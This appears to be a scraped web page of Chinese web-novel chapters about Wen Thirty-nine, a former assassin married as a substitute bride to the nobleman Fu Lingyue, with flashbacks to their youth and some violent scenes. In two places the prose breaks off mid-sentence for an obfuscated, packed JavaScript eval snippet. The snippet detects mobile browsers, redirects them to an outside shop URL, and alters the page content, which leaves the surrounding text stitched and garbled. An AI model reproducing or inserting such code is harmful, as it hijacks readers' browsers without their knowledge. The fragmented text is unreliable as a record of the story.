温三十九撑着下巴,梳头的间隙就打了三四个哈切,揉了揉眼尾的泪花,她出声打断萍儿,问:“十日后就要启程回平陵,陪父亲母亲祭祖了吧?公子也会去吗?” “原本公子商定的计划就是陪您一起回老宅祭祖,更正族谱上的名字。先前还不是老宅那边气愤苏家临时换女,便将大公子正妻的名字仍写成了苏家大小姐的名字。因这事,公子成婚后就未曾再回老宅祭祖,也是今年老宅那边见公子风头正盛,才同意将正妻更正为您的名字。只是谁也不曾想,宫中急诏商定西北诸事,非得公子这半个月不准离京。只能您和老爷夫人先行一步,在平陵等候公子会和,彼时公子会亲自将您引荐给老宅众人。” 这倒不急,温三十九指尖无聊地敲着妆匣,神色放空,整个人都变成了没有生机的木美人。萍儿叹了口气,原先她是在外院洒扫的婢女,只不过在公子成婚之前,萍儿和几个议论少夫人身世低微的小厮吵了几句,恰好被路过的公子听见,念她牙尖嘴利,便调去伺候刚进门的少夫人。 萍儿犹记得第一次见到少夫人时,晨间她穿着内院丫鬟的新衣,跟在兰姑身后端着铜盆,快步走过一扇花门,又掀开一道珠帘才到内室。内室的纱幔都是公子亲自选的粉绿色,暖黄的晨光透过纱幔,显出一片生机葱茏的活泼。那天萍儿只记得第一眼看到的是少夫人下巴坠着的汗珠,啪嗒顺着修长的脖颈滑进衣领。公子赤脚踩着地毯,掏出自己的汗巾,一只手捧着少夫人的脸颊,一只手仔细为她拭汗。少夫人后退几步,手里的剑划过木板,发出轻微的铮鸣。 公子玉白的手指捏着巾帕,顿住空中,停滞几瞬。而后攥进手心,笑着说了句:“抱歉,温温,是我失态了。不过你下次早起练剑,可以叫醒我,我在一旁给你端茶递水也好过一个人独守空房。”公子这话出口,内室几个小婢女没忍住捂嘴偷偷笑出声,萍儿也抬起头,正好看到公子望向少夫人那一眼,是晨光中的无限向往与眷恋,就像浓稠蜂蜜包裹在平淡的清水中,无波无澜又隐忍难发。萍儿忽而就有些难过。 温三十九梳妆完毕,正和萍儿穿过游廊去往主厅,迎面正好撞见傅灵越,一身来不及换下来的褚红朝服,更衬得君子面庞如玉,眉目分明。温三十九站定,朝着傅灵越微微欠身,但腰还未弯下去,傅灵越立刻跑起来,衣袖纷飞,在盛夏时节好似一片飘来的晚霞。他伸手握住温三十九的双手,阻止了她行礼:“我已经说过很多次了,温温,我们是夫妻,你我之间,不必在乎这些虚礼。” 傅灵越的手是世家自幼精心护养出来的白皙柔嫩,指节修长,指尖圆润又沁出抹微红。温三十九记得年少时,傅灵越在太学阶前等雨停,手握一柄答谢她的白玉如意,隔着雨雾粗看过去,竟一时分不太清,哪里是傅灵越的手,哪里是白玉。而也是在温三十九愣神的片刻,雨雾中傅灵越抬眼望到她,平淡的眉目顿时濯亮,隔着雨幕莞尔轻笑,莫名寻常的一幕,也竟使得温三十九记到现在。 “是,我记得了。”温三十九点头,抽出手缩回袖子里。她自幼习武,掌心覆着磨不掉的剑茧,每每傅灵越来牵她,温三十九总担心会将公子的皮肤蹭红。 傅灵越听她这样讲,垂下眼睫,笑意淡了些,而后俯身替温三十九拔了几支步摇和簪子,对着她身后的萍儿说:“少夫人本就不喜繁复妆容与服饰,不是已经吩咐过了吗?日常不要给少夫人这样打扮,坠得脖子疼。” “可是不这样打扮,又要被老爷夫人训.........”萍儿刚想分辨几句,温三十九出声打断她的话,望着傅灵越问:“公子今日受封,定然会来许多客人,怎么不在前厅?” 傅灵越目光黯淡一瞬,而后手指勾住温三十九衣衫上垂落的飘带,笑了笑说:“今日圣上的赏赐当中,我特意替你求来了前朝的名剑鸣泉,所以忍不住想先跑过来把这惊喜告诉你。” “鸣泉?”温三十九听到这两个字,目光顿时亮堂起来,盯着傅灵越解开腰间的佩剑,忍不住上手抢先抽出剑身,泠泠剑光流水一般淌过眉间,连萍儿都能看出来,一向木讷的少夫人恍若换了个人,锋利而明媚,随手挽了个剑花,也飒爽到让人移不开眼。 萍儿下意识又去看公子,他微垂着眸子,额间沁出细汗,发丝黏在脸上,望着少夫人挽剑的动作,颊边渐渐晕红,虽然略微失仪,但这幅鲜活少年的模样,却是外人不曾见得,只在少夫人身边泄露出的亲昵与温柔。 对于大公子与少夫人昔年的交往,萍儿并不得知。从少夫人嫁入傅氏以来,外界传闻纷纷扬扬,不外乎是围绕着苏家逃婚的大小姐苏锦华和大公子旧年的婚约。在传闻中,大公子与苏锦华青梅竹马,自幼定下婚约。而苏锦华却又在太学结实辅国大将军的次子燕定北,后来燕氏败落,将军一家发配流放。苏锦华和燕定北私定终身,在成婚前夕随燕定北私奔出城。傅氏觉得颜面扫地,向苏家讨要说法,而苏家进退维谷之间,竟认苏锦华的暗卫为义女苏温华,并以嫡女身份嫁入傅氏。这番替嫁行为在傅氏看来不异于挑衅,可偏大公子对苏锦华情根深种,痴心成全,竟然真的吞下羞辱,将苏温华三书六礼迎娶回傅氏。而婚礼上京中众人也心知肚明,这排场看似是对苏温华的珍重,实际也只是傅大公子对心上人苏锦华的成全。 萍儿无法辨认这些传闻的真假,可三年来,她看着大公子亲自为少夫人设计练武场,又陪边塞使者宴饮数场,喝得烂醉只能被下人抬上马车,也不过是为了讨一匹塞外名马送与少夫人......大公子喜静,却会在闲暇或者睡前,为少夫人念话本游记。夏日堂前,明月星河,少夫人和大公子躺在葡萄架下,摇着蒲扇闲聊,虽不言爱,可萍儿仍能感受到,爱意就在这对少年夫妻之间,静谧流淌。 温三十九恋恋不舍地收回剑,再望向傅灵越时,神色已然平淡下来。拱手对他道了句谢,便再无多余的话可说。这并非是温三十九讨厌傅灵越,只不过自幼作为暗卫,被教习的规矩便是沉默。对于傅大公子,温三十九后知后觉,也明白他娶自己无非是权宜之计,只为了成全苏小姐的自由与幸福。这种像个物件一般被替换的感觉,温三十九并不喜欢,宁愿去执行任务,死在无声暗夜之中,她想,如这般替嫁到傅氏的金丝笼里,倒真是生不如死。 但她能什么反抗的权利呢,作为地缚组织的暗卫,楼主既然指派她去保护苏小姐,那么默认的规矩便是一切以苏小姐的意志为使命。想起来,苏小姐逃跑前一晚,曾亲如好友一般,拉着温三十九躲在雕花衣柜里喝酒,月光透过柜门的缝隙洒进来,照在三十九陀红的脸颊上。苏小姐捧着她的脸端详,又笑盈盈地贴在三十九耳边,悄声问她:“三十九,你觉得傅灵越怎么样呀?” “好看,白,个子高,读书也很多.......”温三十九勉强认字,更不会说那些文绉绉的溢美之词。她脸颊发烫,脑子里断断续续闪过的片段,尽是傅灵越拉着她的手,仓惶地问她会不会丢下自己。小公子平日里总是姿容温秀,沉稳自持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宴席是男女同坐,三十九坐在傅灵越身旁,听着他与那些朝臣贵人闲谈,她无聊地剥着河虾,剥完一碗后递给傅灵越,又将他的空碗拿到自己跟前,重新开始剥虾。坐在上座的傅老夫人微微点了下头表示赞许,而傅灵越神色却有几分惊喜,侧身攥住三十九的手腕,拿着巾帕给她擦手,低头温声道:“夫人不必管我,今日席间的菜色是特意请的岭南的厨子,多半能合你的胃口,你就赏光多吃一些吧。” 傅灵越将碗里的虾肉拨了一大半给三十九,又添了几道素菜。做完这些,不止傅老夫人,连带周围宾客面色都变了一变,片刻后反而是惠阳路氏率先打破沉默,笑嗔了句:“先前在老家,也多有听闻京都第一公子和苏大小姐的风流韵事,如今可亲眼瞧着,分明少夫人与大公子琴瑟和鸣,可照着百年厮守的架势去过日子呢。” 卢氏一族刚被调任入京,原先不知京中旧闻,猛不丁提及逃婚毁约的苏大小姐,在场众人面面相觑,竟无一人敢附和,纷纷将目光投向俯身为妻子斟酒的傅大公子。 提及昔日旧爱,众人觉得傅大公子便是再如何冷静,也只是强撑罢了,内心定然波涛汹涌。可不曾想傅灵越抬眸,只是讶然地环顾一圈,而后对懊恼的卢氏笑了笑,说:“游记上记载,惠阳风水灵秀,养得人也耳目清明。如今看到卢夫人,可知传闻不假,这满京城,终于来了个明白人。日后也请多来府上,灵越定以贵客之礼招待。” 原本今日众人来宴席,便是为了攀附新贵傅大公子,哪成想忙活半日,竟然叫惠阳乡下来的土鳖给抢了先。宾客们自然不服,还想要多说几句,傅老夫人咳了一声,镇住场面,蹙眉望向事不关己埋头苦吃的儿媳,不悦道:“夫妻恩爱自然是好,但恩爱三年,也该绵延子嗣,传宗接代才是。你们小夫妻不要光顾着自己,也该.......” “母亲,”傅灵越打断老夫人的训话,掩在衣袖下的手指却摸了摸自己平坦的小腹:“我们夫妻之间的事情,自有我们夫妻来解决,你就清闲些,莫要插手太多了。” 三十九喀嚓咬断一条蟹腿,目光落在傅灵越覆在小腹的手上,隐约竟看出几分大肚妇人的情态,莫名其妙的,她甩了甩脑袋,只是认真地咽完口中的食物,对傅老夫人恭敬答道:“儿媳记得,每月月中都有和大公子努力,定会早........” “温温,”傅灵越面皮泛红,猛地抓住三十九的左手,指尖挠了下她的手心,顾不得众人憋笑,他倾身覆到妻子耳畔,向来游刃有余的傅大公子,此刻却反而紧咬唇瓣,一副羞涩隐忍的情态,轻声地央求她:“我们之间这些事,不必同他们讲的。” 三十九不解,却乖顺地点头。傅灵越湿热的气息拂过她的耳廓,半边身子都麻了。她下意识要躲开,却又被傅灵越勾住手指,大公子此刻倒不在乎体统,只又贴近妻子,小声地嘱咐:“但你也别忘了,温温,今日就是月中了。” 12. 诈死成全痴情贵公子后(二) 温三十九的来历不详,只知道姓温,三十九是进入地缚后,楼主给的编号。地缚是风雨楼的楼主一手创办的暗卫机构,眼线遍布庙宇江湖,连宫里都会花重金向风雨楼投递请杀帖。温三十九被楼主指派到京中御史大夫苏家保护苏锦华那年,她刚好十三岁,杀满一百个高手,成为东南西北中五猖中年级最小的北猖。 据说风雨楼楼主与苏锦华娘亲是旧识,大抵年少时也有过一段情,如今以这种方式守护心爱之人的女儿,倒也是痴情之人。温三十九刚到京都之时,苏锦华正因苏家与傅家的娃娃亲闹绝食,苏老爷和苏夫人爱女心切,但婚约上达圣闻,也不能轻易废除。两相为难之际,苏锦华反而拉住半夜给她偷偷送糕点的小暗卫。她喜欢捏三十九饱满的耳垂,搂住这个比自己还要小两岁的女孩,苏锦华问她:“我真的不想成婚,也不想和不熟的人将就一辈子。想必傅氏的公子定然也是这么想的,三十九,你去帮我问问他好不好?让傅氏先退婚!” 地缚的暗卫从来没有选择的权利,三十九连夜便潜入傅氏住宅,绕了一圈避开巡逻的家丁,她翻到傅氏大公子的绛雪院,却见一片漆黑,守夜的婢女们靠着廊柱在打哈切,又含糊地闲聊:“今日不知道小郎君又因何被罚跪祠堂了,别又要跪一夜呀。家主也太心狠了,到底是亲生的孩子,年级还这么小,动不动就罚跪祠堂,日后膝盖别......” 听到祠堂,三十九就没再继续偷听下去,使出轻功很快便如夜猫一般伏在傅氏祠堂的屋顶上。从她的角度往下看,整一面墙的黑漆漆的牌位,高低错落摆放着,幽幽烛火拉扯着牌位的影子,山一般朝着跪地的小郎君倾轧过来。看小郎君的年纪,也不过十五六岁,颊边还有些腮肉,唇瓣苍白,却唇形却似花朵一般,不笑也显得多情。他跪着偷偷揉眼睛,大丹凤眼眼尾湿红,好似揉烂的凤仙花,夜色中也挑抹着春色。 三十九曾经执行任务时,见过京城第一花魁春晓晓。而今夜她趴在房梁上,偷看着啜泣的傅氏小郎君,忽然认真地比较起来,好一会,直到小郎君哭完,隔着泪雾惊恐地瞥到三十九,她才慢吞吞地得出结论,傅氏小郎君若愿意当伎子,必然要比春晓晓更出名。 在傅小公子喊出声之前,三十九翻身落到他面前,翻飞间只带起一阵风,烛光晃动一下,小公子映在墙上的影子也颤了颤。三十九未给他说话的机会,伸手捂住小公子的嘴,而后自顾自地重复了一遍苏锦华的要求:“你去跟你爹娘说,和苏家退婚,不想娶苏小姐。” 傅灵越两只手扒着三十九的手腕,却发现自己用尽力气也撼动不了眼前这个瘦弱的小姑娘。他想说话,但廊外又传来父亲的脚步声,傅灵越眼睛微睁,还未有反应,桎梏着他的手骤然松开,下一刻祠堂里烛光摇曳,昏暗中,又剩下他一个跪在满墙列祖列宗之下。 傅家家主多半是刚才骂完儿子,觉得犹不解气,又持着竹板进来。大声斥责,质问傅灵越日后还敢不敢在学堂看闲书。小郎君跪伏在地,一面闭上眼,泪珠砸在石板上,一面战栗着等待父亲的板子落到身上。 但唰的一道破风之声,正中央供奉的牌位前的长生灯忽然熄灭,祠堂内深潭死水一般的光影被搅动,傅家家主慌乱起来,忙扔下竹板,又是跪地告罪,又是跑出去大声疾呼,命令下人快快去请道长方士,夜半时分傅府里乱成一锅粥。 而就在烛光火影脚步声当中,跪在地上的傅小郎君直起脊背,眼尾仍黏着泪花,望想熄灭的长生灯,他瞳仁反而更亮了些,着急地扬起脸看向房梁。而祠堂内烛影再次晃动,映在年少的傅郎君眼中,好像清风吹动山谷,万物生灵澎湃。他的肩膀被拍了下,那古怪的杀手绕在他身后,睁大了一双空洞的眼睛,只问他:“为什么不还手?他打你,你要还手。” “他是父亲,不可以忤逆父母。”傅郎君转过身,跪坐在蒲团上,认真地回答着三十九荒谬的问题。于是三十九也坐下来,一条腿散漫地曲着,怀里的匕首和冷箭都放在手边,她绕回一开始的话题:“那你什么时候去找你爹娘,告诉他们你要和苏小姐退婚。” “所以你是苏家小姐的暗卫吗?” “我说你去跟你爹娘说退.......”三十九只重复这一句话,但还没说完,端正身姿跪坐的傅小郎君,忽而倾身朝着三十九凑近几分,双手克制地叠放在腿上,但一双泪润的丹凤眼蕴着蜜糖般的烛光。他弯眸笑了笑,好声好气地同矮他一头的笨蛋杀手商量:“可是退婚需要非常繁复的流程,我需要找足理由好好想想。要不这样吗?你每天晚上都可以来监督我,提醒我别忘了这件事。” “每天晚上?你到底什么时候能找到理.......”三十九费劲地思考,皱着眉头,圆圆的眼睛都被压成菱形。隐约是觉得不对劲,但来不及问明白,端正跪坐的傅小郎君又从袖子里掏出一本皱巴巴的小人画,借着烛光摊开在他们之间:“你听过刺客列传吗?要不我给你讲讲吧。” “刺客?我吗?”三十九指了指自己,凑过头去,额头抵住傅灵越的额头,目光顺着他莹润的指尖,落在小人书上。三十九认字不多,看着那些苍蝇似的墨方块,她挠了下脸,说:“好吧,但你讲完要记得给你爹娘说退婚的事情。” “嗯,但你要先把匕首和暗器收起来。”傅小郎君弯唇笑了,婆娑光影里,他端正的坐姿有些松散,墙上伶仃纤长的影子倚在笨蛋杀手身边,世家公子的宽袍大袖盖在三十九腿上。他脸上泪痕干了,这夜里开出一朵一朵的山野花。 后来故事讲完,距离跪祠堂那夜已经过去了半个月,三十九翻墙翻的十分熟练,终于脑子也转过来弯,想明白必须要让傅灵越赶紧解决退婚的事情。于是这夜里她攥紧匕首,从窗外翻到傅灵越的卧室时,却发现屋子里黑漆漆的,他既没有在书案前学习,也没在床上休息。三十九巡视一圈,倒是在墙角的花几旁找到了小郎君。 他只穿着单薄的素衣,深秋夜里,凉气深重。三十九走过去摸出火折子,点亮墙边烛台上的半截红蜡。她拢着这点光放到花几中央,又抓着傅灵越的两只手,让他拢着烛火取暖。 但这点烛光只是模糊照亮了两人的眉眼,三十九看到傅灵越面色惨白,眼尾揉烂淡淡的水红,他冻得齿关战栗,手背裸露的皮肤都隐隐泛着青紫。三十九于是将傅灵越的手拢在手心,一双覆满剑茧和伤疤的小手,笨拙地摩挲着世家公子白皙修长的手指。她没有问傅灵越今夜为什么哭,只是说:“现在有没有暖和一点?” 这话不问还好,三十九的话音刚落,傅小郎君的泪珠也一颗颗地掉下来,像抓住救命稻草一样反手攥紧三十九。他齿关打颤,可呜咽也只能咬碎在喉舌之间。拢着一小扇温暖的烛光,傅灵越垂首抵住三十九的额头,眼里全是泪水,却仍想努力挤出得体的笑,对她说:“子青和子春被母亲剁碎了。” 三十九怔住,因为她知道子青和子春是傅灵越养的灰白两只兔子,原先他还趁着熄灯之后,带着三十九到柴房看过它们。小郎君怕被下人发现,脱了鞋袜,猫在窗台下,笑盈盈地向三十九介绍两只小兔的名字。子青、子春,其实三十九也不知道这算不算好名字,毕竟她的名字只是一个代号,而这两只小兔却有傅小郎君真心的期许。 于是看过兔子之后,三十九每次夜里来找傅灵越,都会顺路割一把草料,和小郎君一起蹲在柴房里,月华从破洞的窗扇照进屋内,灰尘闪烁着银点。傅灵越拨弄一下小兔的耳朵,又偷偷觑向身侧三十九掩在发丝之下饱满的耳垂。 “你看什么?”杀手对于目光一向敏锐,三十九折断草根看向傅灵越。小郎君躲避不急,正迎向她凌厉的目光,脸颊泛红,傅灵越手心里都是汗,却仍歪头挤出笑,指着三十九的耳垂说:“民间说法,耳垂饱满的娃娃有福。三十九,想必你一定有大大的福气。” 指甲掐断草根,三十九收回视线,神色里既没有惊喜也没有愤怒,只是很平静地,她对傅小郎君说:“以后不要对我这种人说这种话,傅灵越,我会忍不住杀了你。” 那夜的龃龉显然还在,傅小郎君惴惴不安了一整个白天,还未思索出如何向三十九道歉。却在归家时被母亲拦下,她提剑挑着两张血淋淋的兔皮,扔到傅灵越脚边。身后的下人压着他的肩膀,双腿曲折跪在堂前。下人来来往往,皆能听到傅夫人对小公子玩物丧志的训斥。兔皮上的血流到小郎君绣着兰花的衣摆上,腥臭的味道在日光暴晒下招来飞虫,傅灵越膝盖已经跪得麻木,这一次看着母亲端来用子青子春做的肉饼,竟是连哭也哭不出来。 下巴被强硬掰开,傅灵越的脸颊被母亲的戒指划破,肉饼混着血珠一起被塞进口中。他被命令咀嚼,一口一口,汗珠滑过鼻梁,流过嘴角的伤口,一阵刺痛,傅灵越眼前发黑,哇的一声将嚼烂的肉饼全吐了出来......生理性的眼泪溢满眼眶,听着母亲焦急去唤医师的声音,傅小郎君倒在一片秽物之中,想的却是——对不起啊三十九,你看我又骗了你。连两只兔子都无法保护的废物,又怎么可能左右自己的姻缘呢? “我,我待过的地方,一个序号对应的杀手如若身亡,便会有新的杀手重新启用这个序号。傅灵越,明天我可以去龙泉山给你抓两只兔子,代替掉子青子春就好了。你别哭了。”三十九不善安慰别人,抬手僵硬地擦了把傅小郎君泪湿的脸,她手心的剑茧将他细白的肌肤蹭红,三十九慌乱地想收回手,却被傅灵越攥住手腕,他将脸埋在她的手心,哭得更凶,滚烫的泪水洇湿三十九的指缝,她原本握惯了刀剑的手,此刻却捧着世家公子湿润柔软的脸颊。 三十九不敢动了,在傅小郎君的眼泪里,她心头好似偷偷照进一方月华,银光漫舞。 “不要兔子,我什么都不要了,但是温温........”泪眼婆娑的傅小郎君直起身,忽而后退,双手交叠,用最标准的世家礼仪向眼前序号为三十九的无名杀手跪拜,他肩膀压低,额头抵着手背,昏暗的屋子里,傅小郎君的心却比跪在祠堂前更虔诚。 “平陵傅氏傅灵越,请求你,不要死。” 三十九,请永远都是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125199|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认识的温三十九。 ------------------------------------- 白日里席间的闹剧结束,萍儿服侍着吃撑的少夫人先回了别院。傅大公子还有些公务要和同僚商榷,但刚分开走过一个廊柱,他又匆忙绕回来,叮嘱萍儿:“记得给少夫人准备些消食的汤水,今日晚间的果盘也撤了,多吃怕她难受。” 萍儿一一应下,而听到暗哨声的温三十九却着急赶回别院,顾不得陪傅灵越在宾客面前表演恩爱,她匆匆撂下一句急事,便撇下众人赶回生岁苑。生岁苑原本是傅灵越的绛雪院,后来成亲后,他亲自改了名字,又写好牌匾挂在进门处。温三十九读不太懂这两个名字的区别,但据傅灵越说,鸳鸯交颈期千岁,琴瑟谐和愿百年。生岁,生岁,只愿吾妻平安添岁。 暗哨传来的信十分简短,只有一句歪歪扭扭的字,写着“一切准备就绪,十日后可按原计划执行”。 温三十九看过后撕碎信纸,混着鱼饵撒到荷花塘里,肥嘟嘟的鲤鱼全挤到她手边,张开嘴吐出一串泡泡。她笑了一下,又想起新婚时,荷花塘刚建好,下人放进一批鱼苗。三十九原本觉得有趣,结果发现傅灵越似乎有些怕池塘里游动的鲤鱼。每次喂食,总会站得身子僵直,目光都不敢落到拍出一阵阵水花的荷花塘里。 最后还是三十九一只手牵着傅灵越的手,一只手稳稳抚着他的腰,半环抱着他,才终于让傅灵越平生第一次摸到鱼尾。那日他显得有些兴奋,眼瞳闪着细碎的亮光,鱼尾拍打水面,沾湿了少年的脸颊,因为是在夫妻二人的院子,傅灵越散着泼墨长发,风撩起几缕发丝黏在脸上。他雪白的皮肤上漫洇开红霞,呼吸炙热,转身抱住三十九:“温温,其实我还是有些害怕带鳞片的东西,但我又特别想要被你抱在怀里。怎么办,真是有点难为情呀......” 温三十九心头发闷,却又寻不到烦躁的源头。索性回屋换了身轻便衣裳,她抽出傅灵越新送的鸣泉剑,在院中练起来。萍儿看不懂剑术,只知道那把剑在少夫人手中,翻飞挑刺,好似有了意识一般,快如白练绕在她的腕间。熬好了消食的汤水,可萍儿看着亭中挥剑斩风的少夫人,自个儿吨吨几口将它喝了。抹了把嘴,萍儿看着擦黑的天色,刚要喊少夫人休息一会,院外却又传来骚动,几个小厮慌乱地喊着有刺客,又喊人赶紧去书房保护大公子。 刹那之间,萍儿只来得及感受耳畔掠过一阵劲风,剑光凛冽闪过眼前。再回首,亭中空空荡荡只飘着几片被斩断的竹叶。萍儿咬牙,喊了一声少夫人,也慌忙朝着书房追去。 等到萍儿感到书房,刺客已经被少夫人斩在公子的书案之前,血珠浸透宣纸,少夫人颊边也染着一串暗红。府兵将濒死的刺客围剿起来,抬着他迅速撤离现场。而那刺客口吐黑血,下巴到胸口被剑劈烂,血肉模糊,他喉中嗬嗬,嘶哑着朝少夫人狞笑:“一个替嫁的贱种,今日你上赶着给傅氏当狗,杀了我又怎样?在这些世家眼里,你竟觉得自己真能代替苏大小姐吗?嗤,贱种,我的今日,就是你的明天,便是做鬼,你也会同我一般堕入阿鼻地......呃........” 那刺客的声音猛然断在喉中,萍儿挤开府兵,却见到素来温秀清明的大公子,手里捏着一截断舌,血色漫过他的手腕,大公子却恍若未察一般,又将匕首插入刺客眼眶,随着血肉搅动的声音,大公子当众剜掉刺客的眼珠,周围众人噤声,谁也不敢上前阻拦,最终还是少夫人抬手打掉大公子攥着的匕首,阻止了他徒手挖出刺客心脏的举动。 傅大公子衣袖胳膊上全然沾满血渍,目光积沉,隐隐透出诡异的暗红。他望着蹙眉的妻子,又颤抖着掏出身上唯一干净的帕子,俯身认真地给她擦掉颊边沾着的几滴血珠。傅大公子望着月光下妻子干净的脸庞,终于挽唇绽开一笑,他愉悦地眯起眼睛,指着地上的断舌和眼珠,对妻子保证:“把他的眼睛和舌头剜出来,便是死了做个厉鬼,他也找不到你身上。你别怕,温温,我绝不让任何东西伤害你。” 处理完刺客,傅灵越回到生岁苑,已经是后半夜。原本可以早些回来,但父亲责备他在同僚面前割舌挖眼,难免会落下残暴的名声,影响他的仕途,所以又罚他去跪了半个时辰的祠堂。 傅灵越只身跪在祠堂的幽幽烛火之中,仰面望着满墙的牌位,他仍穿着那件染血的素衣,跪姿端正,心里却并无悔意。长生灯静静燃着,夜间的飞蛾扑闪着翅膀撞上,一片光影颤动之中,傅灵越望着这些泥糊的木头,耳畔嗡鸣,久久萦绕不散的是那刺客对妻子的诅咒——坠入阿鼻地狱坠入阿鼻地狱坠入阿鼻地狱坠入阿鼻地狱坠入阿鼻地狱坠入阿鼻地狱坠坠入阿鼻地狱坠入阿鼻地狱坠入阿鼻地狱坠入阿鼻地狱.........不!不要! 额头重重砸向地面,傅灵越一次一次朝着满墙的傅氏先祖磕头认错,他生了心魔,眼尾晕开暗红的水光,却仍不断地,疯魔一般祈祷。 万般罪孽,皆在己身。吾妻年幼,求祈八方赐福。 13. 诈死成全痴情贵公子之后(三) 温三十九还没睡,披着外衫正临摹傅灵越的字帖,成婚这三年她在傅氏后宅,深居浅出,闲暇时傅灵越便教她习字,外界千金难买的傅氏第一公子的笔墨,在闺阁之中,却是被不同文采的三十九当做打发时间的玩意,偶尔也会拿来包零嘴。 听见院里的脚步声,三十九端着烛台,手拢着这一豆光明,走进看到傅灵越额间的伤口,眸光颤了颤,叹口气道:“家主又罚你了?疼不疼?其实只要你说要打你爹,我真的可以替你出手,保证你爹被揍得半个月下不来床,保你清净几日。” 傅灵越扑哧笑出声,看着三十九认真的表情,嘴唇都用力抿着,惹得他心头一阵发软。包住她攥拳挥舞的手,傅灵越和三十九一起慢慢挤开浓稠夜色,往点满烛光的屋里走。 内室的食案上放着两碗冷掉的汤面,三十九抽出一双竹筷递给傅灵越,“别想太多了,都过了一夜,又到新的一天了,吃完长寿面去睡觉吧。” 这应算是三十九和傅灵越两个人自年少起的习惯,这些年政局动荡,皇权衰微,世家大族互相倾轧,江湖各刺客组织也如雨后春笋般出现。傅氏在朝堂中屹立几代,即便想要保持中立,也难免树敌无数。所以从太学始,傅氏小郎君就经历过大大小小无数次的埋伏刺杀与毒害。最危急的一次,傅灵越在春猎场被埋伏的兵匪包围,拴住双脚被倒掉在悬崖边的松树枝上,兵匪们一边口中污言秽语,一边互相打赌吊着傅灵越的松枝什么时候会断。日光暴晒,悬崖边的风撩起傅灵越的发丝,眼泪都流不出来。树枝断裂的声音在耳边无限放大,傅灵越闭上眼睛,心却被高高吊起,凌迟的折磨逼得他几乎喘不上气。 终于,喀嚓一声脆响,傅灵越感受到自己急速下坠,崖边爆发出兵匪的狂欢,风刃割破他的脸颊,衣袍猎猎,而就在他赴死的这一瞬,腰间猛然传来刺痛,耳畔是少女温热的呼吸,三十九一身灰扑扑的衣裳,软剑缠在腰间,一只手揽着傅灵越,借力悬崖上的树干和怪石,带着他几步就回到悬崖边。 傅灵越惊魂未定,三十九又抬起护腕,放出一排冷箭,兵匪们避让不急,又被三十九抽剑缠斗,很快体力不支,纷纷逃窜,只剩下那个将傅小郎君绑在悬崖边的粗莽大汉,被三十九踩在脚下。她回首,颊边还有被树枝割破的血痕,血红的发带混着青丝被风吹得狂舞。三十九将剑扔给傅小郎君,语气平静,命令道:“你过来,亲手杀了他。” 那是傅小郎君第一次亲手杀人,剑刃割破喉管的声音被崖边的风放大,铺天盖地湮没着他。滚烫的血珠溅在脸上,他闭上眼,纤长的睫羽都被沾湿,俊秀的眉目间横亘出暗红的血痕。少年的手腕不由自主地颤抖,将要拿不住剑时,三十九的手裹住了他的手,血黏在两人交叠的指间,她捏着还算干净的衣角,一点点将傅灵越脸上的血痕擦拭干净。崖边风声依旧,但三十九在他耳边说:“你别怕,这条命让阎王算在我头上。” 三十九原本是来告诉傅灵越,这次春猎结束,苏小姐不打算按照长辈安排陪他一起去山上清澜寺求姻缘,让他自行安排或者寻个理解搪塞过去。“还能走路吗?”三十九捏着傅小郎君的手腕,见他惨白着脸没有说话,便屈身将少年背到背上。傅灵越枕着女孩单薄的肩头,心里惘惘然,听到三十九说起苏小姐和燕定北跑出城去玩,也只是嗯了一声,然后问她:“那温温陪我去清澜寺吧,母亲与主持相熟,我若不去,容易被长辈们发现怪罪下来。” 清澜寺是贵族男女游玩赏花的去处,只不过四月京都牡丹盛开,世家大族纷纷举办各种节令宴赏花宴,这处山顶寒寺也难免冷清。三十九和傅灵越穿过一片烟霞云海一般的桃花林,扣开寺门,小和尚见来人衣袍染血,倒是也不害怕,仍旧将他们迎到客房,上完清茶之后便告诉他们自便。 三十九心念着傅小郎君受到惊吓,只怕是需要休息调整一番。便主动提起到门口替他守着,让他安心睡觉。但傅灵越却摇头,扯着三十九的衣袖,来到寺庙菜园旁的灶房。他解开腰间的玉珏递给看管的和尚,而后笨拙地生火、架锅,最后下了两碗没放盐巴的汤面。三十九一手端着一碗,目光疑惑地望向灶台后的傅小郎君,他玉白的脸上此刻闷出些红晕,捏着袖子擦了擦汗,有些羞赫对三十九说:“我见府里的嬷嬷们都是这样做长寿面的,只不过看着简单,自己做起来却是手忙脚乱的。可能不太好吃,但温温你.......” “为什么要做长寿面?今日是你生辰?”三十九打断他的话,将瓷碗放在靠窗的一张小桌子上,傅灵越和三十九相对而坐,窗外就是碧绿的菜园,嫩黄的蝴蝶合拢翅膀停在篱笆尖。傅灵越递给她筷子,挽着袖子笑了笑:“不过生辰,我只是觉得长寿面寓意好,吃了就能长命百岁。” “这都是民间说法,我都不信。”三十九虽是这么说,却还是低头挑起一大筷头面条,填进嘴里后,鼓着腮帮子嚼了嚼,面无表情地咽下。“可是佛家讲究心诚则灵,若是吃一碗不够,那日后我便做一百碗,一千碗长寿面,反正你杀多少人,我就做多少碗长寿面给你吃,总能消抵你的业障,保佑温温长命百岁。”傅灵越微微倾身,眼眸认真地注视着对面稚嫩的杀手,暖黄的日光透过窗扇拢在他们周身,三十九脸颊鼓鼓的,咽完面条,捧起碗将汤也喝个干净。鼻尖热得冒汗,她抹了把脸,看着神色郑重的傅小郎君,为难地说:“可是我真不想吃那么多没放盐巴的面条。” “噢.......啊?!抱歉抱歉我,温温.........”傅小郎君面色涨红,低头也挑了一筷子面条,僵硬地吞下后,才小声找补道:“我下次会做的更好吃的,一定.........” 